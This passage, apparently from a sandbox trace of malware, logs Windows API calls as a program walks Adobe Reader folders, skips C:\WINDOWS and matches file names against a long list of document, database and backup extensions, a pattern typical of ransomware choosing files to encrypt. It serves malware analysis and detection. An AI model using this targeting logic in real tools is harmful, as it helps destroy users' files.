ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.730] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.730] lstrlenW (lpString="ui-strings.js") returned 13 [0265.730] lstrlenW (lpString=".1cd") returned 4 [0265.730] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0265.730] lstrlenW (lpString=".3ds") returned 4 [0265.730] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0265.730] lstrlenW (lpString=".3fr") returned 4 [0265.730] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0265.730] lstrlenW (lpString=".3g2") returned 4 [0265.730] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0265.730] lstrlenW (lpString=".3gp") returned 4 [0265.730] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0265.730] lstrlenW (lpString=".7z") returned 3 [0265.730] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0265.730] lstrlenW (lpString=".accda") returned 6 [0265.730] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0265.730] lstrlenW (lpString=".accdb") returned 6 [0265.730] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0265.730] lstrlenW (lpString=".accdc") returned 6 [0265.730] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0265.730] lstrlenW (lpString=".accde") returned 6 [0265.730] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0265.730] lstrlenW (lpString=".accdt") returned 6 [0265.730] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0265.730] lstrlenW (lpString=".accdw") returned 6 [0265.731] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0265.731] lstrlenW (lpString=".adb") returned 4 [0265.731] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0265.731] lstrlenW (lpString=".adp") returned 4 [0265.731] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0265.731] lstrlenW (lpString=".ai") returned 3 [0265.731] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0265.731] lstrlenW (lpString=".ai3") returned 4 [0265.731] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0265.731] lstrlenW (lpString=".ai4") returned 4 [0265.731] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0265.731] lstrlenW (lpString=".ai5") returned 4 [0265.731] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0265.731] lstrlenW (lpString=".ai6") returned 4 [0265.731] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0265.731] lstrlenW (lpString=".ai7") returned 4 [0265.731] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0265.731] lstrlenW (lpString=".ai8") returned 4 [0265.731] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0265.731] lstrlenW (lpString=".anim") returned 5 [0265.731] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0265.731] lstrlenW (lpString=".arw") returned 4 [0265.731] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0265.731] lstrlenW (lpString=".as") returned 3 [0265.731] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0265.731] lstrlenW (lpString=".asa") returned 4 [0265.731] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0265.731] lstrlenW (lpString=".asc") returned 4 [0265.731] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0265.731] lstrlenW (lpString=".ascx") returned 5 [0265.731] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0265.731] lstrlenW (lpString=".asm") returned 4 [0265.732] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0265.732] lstrlenW (lpString=".asmx") returned 5 [0265.732] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0265.732] lstrlenW (lpString=".asp") returned 4 [0265.732] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0265.732] lstrlenW (lpString=".aspx") returned 5 [0265.733] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0265.733] lstrlenW (lpString=".asr") returned 4 [0265.733] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0265.733] lstrlenW (lpString=".asx") returned 4 [0265.733] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0265.733] lstrlenW (lpString=".avi") returned 4 [0265.733] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0265.733] lstrlenW (lpString=".avs") returned 4 [0265.733] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0265.733] lstrlenW (lpString=".backup") returned 7 [0265.733] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0265.733] lstrlenW (lpString=".bak") returned 4 [0266.045] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.045] lstrlenW (lpString=".bay") returned 4 [0266.045] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.045] lstrlenW (lpString=".bd") returned 3 [0266.045] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.045] lstrlenW (lpString=".bin") returned 4 [0266.045] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.045] lstrlenW (lpString=".bmp") returned 4 [0266.045] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.045] lstrlenW (lpString=".bz2") returned 4 [0266.045] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.045] lstrlenW (lpString=".c") returned 2 [0266.045] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.045] lstrlenW (lpString=".cdr") returned 4 [0266.045] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.045] lstrlenW (lpString=".cer") returned 4 [0266.045] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.045] lstrlenW (lpString=".cf") returned 3 [0266.045] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.045] lstrlenW (lpString=".cfc") returned 4 [0266.046] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.046] lstrlenW (lpString=".cfm") returned 4 [0266.046] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.046] lstrlenW (lpString=".cfml") returned 5 [0266.046] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.046] lstrlenW (lpString=".cfu") returned 4 [0266.046] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.046] lstrlenW (lpString=".chm") returned 4 [0266.046] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.046] lstrlenW (lpString=".cin") returned 4 [0266.046] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.046] lstrlenW (lpString=".class") returned 6 [0266.046] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.046] lstrlenW (lpString=".clx") returned 4 [0266.046] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.046] lstrlenW (lpString=".config") returned 7 [0266.046] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.046] lstrlenW (lpString=".cpp") returned 4 [0266.046] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.047] lstrlenW (lpString=".cr2") returned 4 [0266.047] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.047] lstrlenW (lpString=".crt") returned 4 [0266.047] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.047] lstrlenW (lpString=".crw") returned 4 [0266.047] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.047] lstrlenW (lpString=".cs") returned 3 [0266.047] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.047] lstrlenW (lpString=".css") returned 4 [0266.047] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.047] lstrlenW (lpString=".csv") returned 4 [0266.047] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.047] lstrlenW (lpString=".cub") returned 4 [0266.047] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.047] lstrlenW (lpString=".dae") returned 4 [0266.048] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.048] lstrlenW (lpString=".dat") returned 4 [0266.048] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.048] lstrlenW (lpString=".db") returned 3 [0266.048] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.048] lstrlenW (lpString=".dbf") returned 4 [0266.048] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.048] lstrlenW (lpString=".dbx") returned 4 [0266.048] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.048] lstrlenW (lpString=".dc3") returned 4 [0266.048] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.048] lstrlenW (lpString=".dcm") returned 4 [0266.048] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.048] lstrlenW (lpString=".dcr") returned 4 [0266.048] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.048] lstrlenW (lpString=".der") returned 4 [0266.048] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.048] lstrlenW (lpString=".dib") returned 4 [0266.048] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.048] lstrlenW (lpString=".dic") returned 4 [0266.048] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.048] lstrlenW (lpString=".dif") returned 4 [0266.048] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.048] lstrlenW (lpString=".divx") returned 5 [0266.049] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.049] lstrlenW (lpString=".djvu") returned 5 [0266.049] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.049] lstrlenW (lpString=".dng") returned 4 [0266.049] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.049] lstrlenW (lpString=".doc") returned 4 [0266.049] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.049] lstrlenW (lpString=".docm") returned 5 [0266.049] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.049] lstrlenW (lpString=".docx") returned 5 [0266.049] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.049] lstrlenW (lpString=".dot") returned 4 [0266.049] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.049] lstrlenW (lpString=".dotm") returned 5 [0266.049] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.049] lstrlenW (lpString=".dotx") returned 5 [0266.049] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.050] lstrlenW (lpString=".dpx") returned 4 [0266.050] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.050] lstrlenW (lpString=".dqy") returned 4 [0266.050] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.050] lstrlenW (lpString=".dsn") returned 4 [0266.050] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.050] lstrlenW (lpString=".dt") returned 3 [0266.050] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.050] lstrlenW (lpString=".dtd") returned 4 [0266.050] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.050] lstrlenW (lpString=".dwg") returned 4 [0266.050] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.050] lstrlenW (lpString=".dwt") returned 4 [0266.050] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.050] lstrlenW (lpString=".dx") returned 3 [0266.050] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.050] lstrlenW (lpString=".dxf") returned 4 [0266.050] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.050] lstrlenW (lpString=".edml") returned 5 [0266.050] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.050] lstrlenW (lpString=".efd") returned 4 [0266.050] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.051] lstrlenW (lpString=".elf") returned 4 [0266.051] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.051] lstrlenW (lpString=".emf") returned 4 [0266.051] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.051] lstrlenW (lpString=".emz") returned 4 [0266.051] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.051] lstrlenW (lpString=".epf") returned 4 [0266.051] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.051] lstrlenW (lpString=".eps") returned 4 [0266.051] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.051] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.052] FindClose (in: hFindFile=0x3315af0 | out: hFindFile=0x3315af0) returned 1 [0266.052] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0266.052] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0266.052] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb") returned 106 [0266.052] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb") returned 1 [0266.052] lstrlenW (lpString="en-gb") returned 5 [0266.052] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-gb") returned -1 [0266.052] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0266.052] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb") returned 106 [0266.052] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0266.052] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.053] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.053] lstrlenW (lpString="ui-strings.js") returned 13 [0266.053] lstrlenW (lpString=".1cd") returned 4 [0266.053] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.053] lstrlenW (lpString=".3ds") returned 4 [0266.053] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.053] lstrlenW (lpString=".3fr") returned 4 [0266.053] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.053] lstrlenW (lpString=".3g2") returned 4 [0266.053] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.053] lstrlenW (lpString=".3gp") returned 4 [0266.053] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.053] lstrlenW (lpString=".7z") returned 3 [0266.053] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.053] lstrlenW (lpString=".accda") returned 6 [0266.053] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.053] lstrlenW (lpString=".accdb") returned 6 [0266.053] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.053] lstrlenW (lpString=".accdc") returned 6 [0266.053] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.053] lstrlenW (lpString=".accde") returned 6 [0266.053] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.053] lstrlenW (lpString=".accdt") returned 6 [0266.054] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.054] lstrlenW (lpString=".accdw") returned 6 [0266.054] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.054] lstrlenW (lpString=".adb") returned 4 [0266.054] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.054] lstrlenW (lpString=".adp") returned 4 [0266.054] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.054] lstrlenW (lpString=".ai") returned 3 [0266.054] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.054] lstrlenW (lpString=".ai3") returned 4 [0266.054] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.054] lstrlenW (lpString=".ai4") returned 4 [0266.054] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.054] lstrlenW (lpString=".ai5") returned 4 [0266.054] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.054] lstrlenW (lpString=".ai6") returned 4 [0266.054] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.054] lstrlenW (lpString=".ai7") returned 4 [0266.054] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.054] lstrlenW (lpString=".ai8") returned 4 [0266.054] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.054] lstrlenW (lpString=".anim") returned 5 [0266.054] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.054] lstrlenW (lpString=".arw") returned 4 [0266.055] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.055] lstrlenW (lpString=".as") returned 3 [0266.055] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.055] lstrlenW (lpString=".asa") returned 4 [0266.055] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.055] lstrlenW (lpString=".asc") returned 4 [0266.055] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.055] lstrlenW (lpString=".ascx") returned 5 [0266.055] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.055] lstrlenW (lpString=".asm") returned 4 [0266.055] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.055] lstrlenW (lpString=".asmx") returned 5 [0266.055] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.055] lstrlenW (lpString=".asp") returned 4 [0266.055] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.055] lstrlenW (lpString=".aspx") returned 5 [0266.055] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.055] lstrlenW (lpString=".asr") returned 4 [0266.055] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.055] lstrlenW (lpString=".asx") returned 4 [0266.055] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.055] lstrlenW (lpString=".avi") returned 4 [0266.055] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.055] lstrlenW (lpString=".avs") returned 4 [0266.056] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.056] lstrlenW (lpString=".backup") returned 7 [0266.056] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.056] lstrlenW (lpString=".bak") returned 4 [0266.056] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.056] lstrlenW (lpString=".bay") returned 4 [0266.056] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.056] lstrlenW (lpString=".bd") returned 3 [0266.056] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.056] lstrlenW (lpString=".bin") returned 4 [0266.056] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.056] lstrlenW (lpString=".bmp") returned 4 [0266.056] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.056] lstrlenW (lpString=".bz2") returned 4 [0266.056] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.056] lstrlenW (lpString=".c") returned 2 [0266.056] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.056] lstrlenW (lpString=".cdr") returned 4 [0266.056] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.056] lstrlenW (lpString=".cer") returned 4 [0266.056] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.056] lstrlenW (lpString=".cf") returned 3 [0266.056] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.056] lstrlenW (lpString=".cfc") returned 4 [0266.056] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.056] lstrlenW (lpString=".cfm") returned 4 [0266.057] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.057] lstrlenW (lpString=".cfml") returned 5 [0266.057] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.057] lstrlenW (lpString=".cfu") returned 4 [0266.057] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.057] lstrlenW (lpString=".chm") returned 4 [0266.057] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.057] lstrlenW (lpString=".cin") returned 4 [0266.057] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.057] lstrlenW (lpString=".class") returned 6 [0266.057] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.057] lstrlenW (lpString=".clx") returned 4 [0266.057] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.057] lstrlenW (lpString=".config") returned 7 [0266.057] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.058] lstrlenW (lpString=".cpp") returned 4 [0266.058] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.058] lstrlenW (lpString=".cr2") returned 4 [0266.058] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.058] lstrlenW (lpString=".crt") returned 4 [0266.058] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.058] lstrlenW (lpString=".crw") returned 4 [0266.058] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.058] lstrlenW (lpString=".cs") returned 3 [0266.058] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.058] lstrlenW (lpString=".css") returned 4 [0266.058] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.058] lstrlenW (lpString=".csv") returned 4 [0266.058] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.058] lstrlenW (lpString=".cub") returned 4 [0266.058] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.058] lstrlenW (lpString=".dae") returned 4 [0266.058] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.058] lstrlenW (lpString=".dat") returned 4 [0266.058] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.058] lstrlenW (lpString=".db") returned 3 [0266.058] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.059] lstrlenW (lpString=".dbf") returned 4 [0266.059] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.059] lstrlenW (lpString=".dbx") returned 4 [0266.059] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.059] lstrlenW (lpString=".dc3") returned 4 [0266.059] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.059] lstrlenW (lpString=".dcm") returned 4 [0266.059] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.059] lstrlenW (lpString=".dcr") returned 4 [0266.059] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.059] lstrlenW (lpString=".der") returned 4 [0266.059] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.059] lstrlenW (lpString=".dib") returned 4 [0266.059] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.059] lstrlenW (lpString=".dic") returned 4 [0266.060] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.060] lstrlenW (lpString=".dif") returned 4 [0266.060] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.060] lstrlenW (lpString=".divx") returned 5 [0266.060] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.060] lstrlenW (lpString=".djvu") returned 5 [0266.060] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.060] lstrlenW (lpString=".dng") returned 4 [0266.061] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.061] lstrlenW (lpString=".doc") returned 4 [0266.061] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.061] lstrlenW (lpString=".docm") returned 5 [0266.061] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.061] lstrlenW (lpString=".docx") returned 5 [0266.061] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.061] lstrlenW (lpString=".dot") returned 4 [0266.061] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.061] lstrlenW (lpString=".dotm") returned 5 [0266.061] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.061] lstrlenW (lpString=".dotx") returned 5 [0266.061] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.061] lstrlenW (lpString=".dpx") returned 4 [0266.061] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.061] lstrlenW (lpString=".dqy") returned 4 [0266.061] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.061] lstrlenW (lpString=".dsn") returned 4 [0266.061] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.061] lstrlenW (lpString=".dt") returned 3 [0266.061] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.061] lstrlenW (lpString=".dtd") returned 4 [0266.061] lstrcmpiW 